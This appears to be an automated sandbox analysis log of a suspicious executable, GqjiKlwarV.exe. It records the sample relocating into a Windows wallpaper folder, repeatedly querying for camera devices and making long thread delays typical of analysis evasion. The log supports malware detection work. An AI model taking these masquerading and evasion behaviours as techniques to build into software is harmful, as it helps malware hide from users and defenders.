Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Memory allocated: 2520000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Memory allocated: 1A6D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Memory allocated: 760000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Memory allocated: 1A5E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599754	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599404	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599295	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599178	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599046	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598937	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598828	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598718	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598499	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598390	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598171	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598062	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597953	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597843	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597077	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596957	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596296	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595421	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595202	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595092	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 594981	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 594870	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 594764	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 594647	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 594390	Jump to behavior

Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Window / User API: threadDelayed 1749			Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Window / User API: threadDelayed 8050			Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe TID: 6840	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 3492	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -599874s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -599754s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -599640s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -599404s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -599295s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -599178s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -599046s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -598937s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 2260	Thread sleep time: -7200000s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -598828s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -598718s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -598609s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -598499s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -598390s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -598281s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -598171s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -598062s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -597953s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -597843s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -597734s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -597625s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -597515s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -597406s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -597296s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -597187s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -597077s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -596957s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -596843s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -596734s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -596625s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -596515s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -596406s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -596296s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -596187s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -595968s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -595859s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -595750s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -595640s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -595531s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -595421s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -595312s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -595202s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -595092s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -594981s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -594870s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -594764s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -594647s >= -30000s	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe TID: 1460	Thread sleep time: -594390s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599754	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599404	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599295	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599178	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 599046	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598937	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598828	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598718	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598499	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598390	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598171	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 598062	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597953	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597843	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 597077	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596957	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596296	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595421	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Thread delayed: delay time: 595202	Jump to behavior
